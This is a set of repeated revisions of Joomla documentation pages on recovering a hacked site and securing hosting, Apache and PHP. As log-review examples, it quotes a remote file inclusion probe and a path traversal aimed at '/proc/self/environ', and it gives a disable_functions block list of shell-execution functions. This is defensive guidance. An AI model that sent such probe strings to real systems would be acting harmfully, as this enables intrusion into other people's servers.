* Consider adding a [http://forum.joomla.org/viewtopic.php?p=1568940#p1568940 bot block list] to your .htaccess file

* Use [http://en.wikipedia.org/wiki/SSH_file_transfer_protocol sFTP] instead of FTP where possible

* Do not enable or use [http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP anonymous ftp] accounts for any reason.

* Use a server that has [http://www.modsecurity.org/ mod_security] installed properly

* Check for any added sub domains and/or added directories

* Check for any [http://en.wikipedia.org/wiki/Common_Gateway_Interface cgi scripts]

* Check [http://en.wikipedia.org/wiki/Cron cron] for any cron jobs not set up by domain administrator

* Download and <ref>Review raw access and error logs.</ref>

* Deny any IP's that you got to the IP ban on your site but it may belong to a proxy site.

'''Was your site hacked in the past''' and proper site sanitation not used to remove actual
(and hidden) hack thus leaving a backdoor for reinfection.

* Consider removing "[http://docs.joomla.org/How_do_you_remove_or_change_the_%22Welcome_to_the_Frontpage%22_title%3F welcome to the front page]" to reduce [http://www.google.co.uk/search?q=intext%3A+welcome+to+the+front+page+joomla& search engine attacks].

* Completely remove/uninstall, don't unpublish unused or vulnerable extensions. [[Why_isn't_un-publishing_a_vulnerable_extension_enough_to_protect_your_site%3F|Un-publishing a vulnerable extension will not protect your site.]]

=== Malicious Code or Odd Links appearing on your site ===

Check that the original template file does or does not insert the [http://forum.joomla.org/viewtopic.php?f=432&t=411735 unwanted code/Malicious Javascript ] or that you downloaded a paid for template from a non trusted source eg file sharing sites

'''[http://www.iss.net/threats/gumblar.html Gumblar]''' doesn’t use any particular script vulnerability.
This script is injected into every web page ( I would imagine though not confirmed, if infected page is edited then saved it will also be in database) on a site.
Script changes every time it is accessed.
It has been seen on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
The script starts with ''(function('' and has no name and is obfusticated.
A common Gumblar version breaks sites due to a bug in script.

'''iFrames'''

In recent iframe exploits the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.). [http://forum.joomla.org/viewtopic.php?f=432&t=411735 Related Forum Sticky]

=== Contributors & Editing ===
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 mandville]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=3701 fw116]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=322239 JeffChannell]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=339316 dynamicnet]

== References ==
<references/>
When your hosting provider runs PHP as an Apache Module it executes as the user/group of the webserver which is usually "nobody", "httpd" or "apache". Under this (ownership) mode, files or directories that you require your php scripts to be able to write do need 777 permissions (read/write/execute at user/group/world level) if the ownership of the files and directories are not Chown (Change Owner) to the User. Such a scenario is absolute unacceptable from a security perspective since '777' not only allows the webserver to write to the file; it also allows anyone else to read or write to the file.
If your provider is not able to change this, one should strongly consider changing host!

'''Logs'''
Make sure that in your control panel your raw access logs have been activated for review!

Raw Access Logs allow you to see who has accessed your site without the use of graphs, charts or other graphics. in cPanel for instance you can use the Raw Access Logs menu to download a zipped version of the server's access log for your site. This can be very useful when you need to see who is accessing your site quickly. Many people forget that this needs to be activated by the user of the account and is not automatically activated upon the creation of a hosting account in cPanel for instance!

'''Incompatible Versions'''
This document applies to all versions of Joomla. Use the latest version of Joomla that is compatible with your existing Joomla websites version to repair your site. Some version upgrades require a [[Migrating_from_Joomla_1.5_to_Joomla_2.5|site migration]] and will render your Joomla site inoperative if used to replace an earlier version of Joomla when repairing site hacking. For example: Do not replace a 1.5.xx based site with version 2.5.xx of Joomla. Doing so will leave the site in an inoperative state and may also result in a loss of data.

[[Category:FAQ]]

[[Category:Security Checklist]]

Security Checklist/You have been hacked or defaced

2013-03-26T16:39:56Z

Phild: /* chmod and cron */ added Monitoring for File Changes heading

{{:Security Checklist/TOC}}
== You have been hacked/defaced ?==
We are sorry for any basic language used in this document.
Before you post in the Joomla! Security Forum [http://forum.joomla.org/viewtopic.php?f=432&t=475313 please read this] checklist summary, then use it as a post template.

=== On Line Action List===
* Take your [[Taking_the_website_temporarily_offline#Using the htaccess method (cpanel)|website offline]] ('''We recommend the htaccess method''')

* Run the [https://github.com/ForumPostAssistant/FPA/zipball/en-GB forum post assistant and security tool] The simple Instructions are [http://forum.joomla.org/viewtopic.php?f=621&t=582860 available here]. More detailed instructions are included in the download package. You will need to unzip this package and upload the fpa-en.php file to your server Joomla root The FPA is also [https://github.com/ForumPostAssistant/FPA/tarball/en-GB available in a tar.gz package] for those who desire or need a unix style package. The fpa-en.php file from the package will need to be uploaded to your server Joomla root.

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. (see [[#Local_Security|Local Security]] below)

* Ensure you have the '''latest version''' of [http://www.joomla.org/download.html Joomla]

* '''Notify your host''' and work with them to clean up the site, and to make sure there are no back doors to your site.

* Review [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List] to see if you have any vulnerable extensions and deal with them. A clue to any extensions being targeted is your logs file. Here is an example of what to look for,
<pre>//administrator/components/com_extension/admin.extension.php?mosConfig.absolute.path=http:</pre>
or
<pre>../../../../../../../../../../../../../../../../proc/self/environ</pre>

* Review and action [[Security Checklist]] to make sure you've gone through all of the steps (please note some steps are optional, but please review them all).

* '''Change all passwords''' and if possible user names for the domains control panel, mysql, FTP, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|Joomla! Super Admin]], and Joomla! Admin password; do change them often. Passwords should be at least 12 mixed alphanumeric characters and contain no common word phrases.
* Do not use the standard Admin user, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|disable it]]. If you need to reset your admin password, see [[How_do_you_recover_your_admin_password%3F|these instructions]].

* '''Replace''' all templates and files with clean copies,
* '''Check''' and/or replace all .pdf, image, photo files for exploits
* Check you server logs for IP's calling suspicious files or attempting POST commands to non-form's
* Use proper permissions on files and directories. They '''should never be 777<ref>Permissions should never be 777</ref>, but ideal is 644 for files and 755 folders'''.
* Disable [http://docs.cpanel.net/twiki/bin/view/AllDocumentation/CpanelDocs/AnonymousFTP anonymous] FTP

== chmod and cron ==

IF you have permissions to access SSH (secure shell) via putty you can chmod the files and directories.
If you do not have shell access, you can run the commands from [http://en.wikipedia.org/wiki/Cron cron] by setting up a temporary cron job. Copy and paste the command into a cron job. Run the job about 2 minutes after saving the job.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended for best results.

For files use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -exec chmod 644 {} \;</pre>

and for directories use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type d -exec chmod 755 {} \;</pre>

=== Monitoring for File Changes ===
To check for recent file changes on your system use these commands from putty (SSH - secure shell) or via a cron job.
If you run the command from a cron job you can schedule it to check for changed files several times each day.
Results will be sent to the domain account owner and show the time/date stamp for any changed files.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended
for best results.

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -ctime -1 -exec ls -ls {} \;</pre>

Please note your sites files may be located in public_html, httpdocs, www, or a similar place, and your physical path may also be different than in the examples. Adjust the physical path accordingly.

== 777 Permissions ==
'''If''' the server your are on requires 777 permissions for Joomla to work correctly,
then''' request to be put on another server''' with php as cgi and suphp and up-to-date
serverside software (apache, php etc) on your existing host or find another server host if necessary.

To protect directories that seemed to need 777 permissions to run or as a default in your images/media folder try this code within a .htaccess file within the open folder.
<pre># secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI</pre> especially in your images folder
* Make sure that is in a htaccess file in a directory that will not run any scripts or remove the extensions as required

Do check with your hosting provider to see if they have purposely secured the server your site is on; and that they '''or you''' perform regular (weekly) security updates to keep the server up to date.
Check you have jail shell.
A rule of thumb is the less you pay, the less they care

== A Safe route for disaster relief ==
* save the configuration.php file and your images and personal files one by one, (not the folder as it may contain unwanted files)
* wipe the entire folder where Joomla! is installed
* upload a new clean full package latest version of joomla 1.5.x or Joomla 2.5.x (minus the install folder)<ref>Incompatible Versions</ref>
* reupload your configuration file & images.
* reupload or reinstall the latest versions of your extensions , templates (even better is to use original clean copies to ensure that the hacker/defacer did not leave any shell script files in your site)

To do this will take your site off line for around 15 minutes. To track down your hacked/defaced html may take hours or even longer.

=== Local Security ===

* Don't store user name/password in ftp program
** Use a password manager such as the free [http://keepass.info/ keepass]

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

* Several packages available are
** [http://www.eset.com/ ENOD32] from eSet
** [http://www.safer-networking.org/ Spybot Search and Destroy]
** [http://www.malwarebytes.org/ Malwarebytes]
** [http://www.microsoft.com/security/ Microsoft Malicious Software Removal Tool]
** [http://www.free-av.com/de/tools/12/avira_antivir_rescue_system.html Linux AntiVirus boot cd]
** [http://www.javacoolsoftware.com/spywareblaster.html spyware blaster]
** [http://www.siteadvisor.com/ siteadvisor]
* Consider the [http://ubcd4win.com/ Ultimate Boot CD for Windows] used for repairing, restoring, or diagnosing almost any home computer problem

=== Other Considerations ===

* Do not use the standard jos_ table prefix and avoid one click installers where possible

* Set the [http://feeds.joomla.org/JoomlaSecurityNews?format=xml joomla security newsfeed] as the main top module in your joomla admin control panel. [[Screen.modulesadministrator.edit.15#Feed_Display|Set up the Security Newsfeed]]
** [[Screen.modulesadministrator.edit.15#How_to_access|Add the Admin Feed Display Module]] if it is missing. Enable it to the first place on your sites back end control panel.

* Consider adding a [http://forum.joomla.org/viewtopic.php?p=1568940#p1568940 bot block list] to your .htaccess file

* Use [http://en.wikipedia.org/wiki/SSH_file_transfer_protocol sFTP] instead of FTP where possible

* Do not enable or use [http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP anonymous ftp] accounts for any reason.

* Use a server that has [http://www.modsecurity.org/ mod_security] installed properly

* Check for any added sub domains and/or added directories

* Check for any [http://en.wikipedia.org/wiki/Common_Gateway_Interface cgi scripts]

* Check [http://en.wikipedia.org/wiki/Cron cron] for any cron jobs not set up by domain administrator

* Download and <ref>Review raw access and error logs.</ref>

* Deny any IP's that you got to the IP ban on your site but it may belong to a proxy site.

'''Was your site hacked in the past''' and proper site sanitation not used to remove actual
(and hidden) hack thus leaving a backdoor for reinfection.

* Consider removing "[http://docs.joomla.org/How_do_you_remove_or_change_the_%22Welcome_to_the_Frontpage%22_title%3F welcome to the front page]" to reduce [http://www.google.co.uk/search?q=intext%3A+welcome+to+the+front+page+joomla& search engine attacks].

* Completely remove/uninstall, don't unpublish unused or vulnerable extensions. [[Why_isn't_un-publishing_a_vulnerable_extension_enough_to_protect_your_site%3F|Un-publishing a vulnerable extension will not protect your site.]]

=== Malicious Code or Odd Links appearing on your site ===

Check that the original template file does or does not insert the [http://forum.joomla.org/viewtopic.php?f=432&t=411735 unwanted code/Malicious Javascript ] or that you downloaded a paid for template from a non trusted source eg file sharing sites

'''[http://www.iss.net/threats/gumblar.html Gumblar]''' doesn’t use any particular script vulnerability.
This script is injected into every web page ( I would imagine though not confirmed, if infected page is edited then saved it will also be in database) on a site.
Script changes every time it is accessed.
It has been seen on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
The script starts with ''(function('' and has no name and is obfusticated.
A common Gumblar version breaks sites due to a bug in script.

'''iFrames'''

In recent iframe exploits the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.). [http://forum.joomla.org/viewtopic.php?f=432&t=411735 Related Forum Sticky]

=== Contributors & Editing ===
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 mandville]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=3701 fw116]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=322239 JeffChannell]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=339316 dynamicnet]

== References ==
<references/>
When your hosting provider runs PHP as an Apache Module it executes as the user/group of the webserver which is usually "nobody", "httpd" or "apache". Under this (ownership) mode, files or directories that you require your php scripts to be able to write do need 777 permissions (read/write/execute at user/group/world level) if the ownership of the files and directories are not Chown (Change Owner) to the User. Such a scenario is absolute unacceptable from a security perspective since '777' not only allows the webserver to write to the file; it also allows anyone else to read or write to the file.
If your provider is not able to change this, one should strongly consider changing host!

'''Logs'''
Make sure that in your control panel your raw access logs have been activated for review!

Raw Access Logs allow you to see who has accessed your site without the use of graphs, charts or other graphics. in cPanel for instance you can use the Raw Access Logs menu to download a zipped version of the server's access log for your site. This can be very useful when you need to see who is accessing your site quickly. Many people forget that this needs to be activated by the user of the account and is not automatically activated upon the creation of a hosting account in cPanel for instance!

'''Incompatible Versions'''
This document applies to all versions of Joomla. Use the latest version of Joomla that is compatible with your existing Joomla website site version to repair your site. Some version upgrades require a [[Migrating_from_Joomla_1.5_to_Joomla_2.5|site migration]] and will render your Joomla site inoperative if used to overwrite an earlier version of Joomla. For example: Do not overwrite a 1.5.xx site with version 2.5.xx of Joomla. Doing so will leave the site in an inoperative state.

[[Category:FAQ]]

[[Category:Security Checklist]]

Security Checklist/Hosting and Server Setup

2013-02-20T01:22:56Z

Phild: /* File permissions */ fixed heading

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

: For more information, see either [[Magic quotes and security]] or [http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server.

: For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

== File permissions ==
: If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
:: *DocumentRoot directory: 750 (e.g. public_html)
:: *Files: 644
:: *Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

: With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.

: Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

: If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
:: * DocumentRoot directory: 750 (e.g. public_html)
:: * PHP files: 600 (400 if you are truly paranoid)
:: * HTML and image files: 644 (444 if you are truly paranoid)
:: * Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

: More information on file permissions can be found here: [[Security Checklist/Where can you learn more about file permissions?]]

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

:: 1. Broken site due to a faulty upgrade.
:: 2. Hardware failure, such as dead hard drives, power failures, server theft, etc.
:: 3. Authoritarian government intervention. (More common than some think.)
:: 4. Needing to quickly relocate to a new server or hosting provider.

: Backups are not recommended for restoring a compromised/hacked site as it is possible the backups will contain the altered and hack files. Using the backups to restore a hacked site would just restore the hack to the site.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T01:17:55Z

Phild: /* The most important rule:' */ put old point 1 into and explanation / better formatting

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

